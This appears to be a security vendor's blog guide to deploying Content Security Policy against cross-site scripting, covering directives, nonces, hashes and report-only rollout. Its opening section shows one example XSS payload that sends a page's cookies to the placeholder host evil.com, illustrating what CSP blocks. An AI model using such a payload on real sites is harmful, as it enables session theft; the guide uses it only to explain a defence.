Security

Content Security Policy (CSP): Practical Guide

Content Security Policy against XSS: CSP directives, nonces, unsafe-inline pitfalls, and how to deploy CSP without breaking your site.

25 March 20265 min readWarDek Team

Content Security Policy (CSP) is arguably the most powerful browser-based security mechanism available today. A well-configured CSP stops the vast majority of Cross-Site Scripting attacks even when vulnerabilities exist in your code. Yet most sites either have no CSP at all, or a CSP so permissive it provides no real protection. This guide shows you how to implement CSP correctly.

What CSP Does and Why It Matters

Without CSP, a browser will execute any JavaScript it encounters on a page — whether it was placed there by your developers or injected by an attacker through an XSS vulnerability. CSP changes this by telling the browser exactly which sources are allowed to load scripts, styles, images, fonts, and other resources.

If an attacker injects <script>document.location='https://evil.com?c='+document.cookie</script> into your page, a CSP that restricts scripts to your own origin prevents the browser from executing it. The attack exists in the HTML, but it never runs.

CSP is defined in the Content-Security-Policy HTTP response header. It is enforced by the browser — not your server — which means it is an independent defense layer that does not depend on your server-side code being vulnerability-free.

Core CSP Directives Explained

Understanding the directives is essential before writing a policy.

default-src — The fallback for any resource type not explicitly specified. Set this to 'self' to restrict everything to your own origin by default.

script-src — Controls which scripts can execute. This is the most security-critical directive. An overly permissive script-src renders your CSP ineffective against XSS.

style-src — Controls CSS sources. Less critical than script-src from an XSS standpoint, but CSS injection can still cause UI redressing attacks.

img-src — Controls image sources. Set to 'self' plus any CDNs your images load from.

connect-src — Controls which URLs JavaScript can fetch/XHR to. Important for preventing exfiltration.

font-src — Controls font sources (Google Fonts, self-hosted, etc.).

frame-src / frame-ancestorsframe-ancestors controls who can embed your page in an iframe (clickjacking protection). frame-src controls which iframes your page can load.

object-src — Controls plugins (Flash, Java applets). Set to 'none' — there is no legitimate reason to allow these in 2026.

base-uri — Controls the <base> tag. Set to 'self' to prevent base tag injection attacks.

form-action — Controls where forms can submit. Set to 'self' unless you have explicit cross-origin form submissions.

The unsafe-inline Problem

The single biggest CSP mistake is including 'unsafe-inline' in script-src. This negates XSS protection entirely because inline scripts — exactly what XSS payloads usually are — become allowed.

Many developers add 'unsafe-inline' because their application uses inline event handlers (onclick="...") or inline <script> blocks. The fix is to move this logic to external JavaScript files. Your codebase benefits from this refactor regardless of CSP.

Nonces: The Right Way to Allow Inline Scripts

Sometimes inline scripts are genuinely unavoidable (certain analytics integrations, legacy code). Nonces allow specific inline scripts without opening the door to all inline scripts.

A nonce is a random, one-time-use token generated server-side for each request:

// Server-side: generate a nonce per request
import { randomBytes } from 'crypto'
const nonce = randomBytes(16).toString('base64')

Include it in the CSP header:

Content-Security-Policy: script-src 'nonce-{GENERATED_NONCE}' 'strict-dynamic'; ...

And in your trusted inline scripts:

<script nonce="{GENERATED_NONCE}">
  // This specific script is allowed
</script>

The browser only executes inline scripts that carry the matching nonce. An injected script without the nonce is blocked, because the attacker cannot know the nonce (it is different for every request).

Pair nonces with 'strict-dynamic' to allow those trusted scripts to load additional scripts dynamically (necessary for many analytics and A/B testing tools).

Hash-Based Allowlisting

If you have a fixed inline script that does not change, you can use a hash instead of a nonce:

Content-Security-Policy: script-src 'sha256-abc123...'

The browser computes the hash of each inline script and compares it to the allowlist. This works well for static content but becomes cumbersome when scripts change frequently.

Deploying CSP Without Breaking Your Site

The most common deployment mistake is going directly to enforcement mode on a production site and discovering that half your third-party integrations are blocked.

Phase 1: Report-Only Mode

Deploy in report-only mode first. The browser applies the policy but does not block anything — it only sends violation reports to your reporting endpoint.

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report

Set up a simple endpoint to collect CSP reports. Review them over one to two weeks to understand what the policy would block.

Phase 2: Refine the Policy

Based on violation reports, add the legitimate sources you need. Common additions:

For each addition, ask: is this source controlled by us or a trusted vendor? Can it be replaced with a self-hosted option?

Phase 3: Enforce

Switch from Content-Security-Policy-Report-Only to Content-Security-Policy. Monitor violation reports in the days after launch — some edge cases may have been missed.

Combining CSP with Other Headers

CSP is most effective as part of a layered headers strategy. See our secure HTTP headers guide for the full set of headers that complement CSP.

Key companions:

CSP and XSS protection are deeply related. Read our complete XSS protection guide for the server-side defenses that CSP complements.

Example CSP for a Modern Web Application

A reasonable starting point for a server-rendered application with no third-party scripts:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM}';
  style-src 'self' 'nonce-{RANDOM}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;

For SPAs (React, Vue, Angular) loaded from a CDN with multiple API endpoints, the policy will be more permissive — but start from this strict baseline and open only what you can justify.

CSP Implementation Checklist

Audit Your CSP Today

A misconfigured CSP provides false confidence. WarDek analyzes your deployed CSP alongside other security headers and flags specific weaknesses — like unsafe-inline usage or missing directives — with actionable remediation steps. Pair it with a full XSS scan to understand your real exposure.

#csp#content-security-policy#xss#http-headers#web-security

Scan your site for free

WarDek detects the vulnerabilities mentioned in this article in seconds.

Back to Security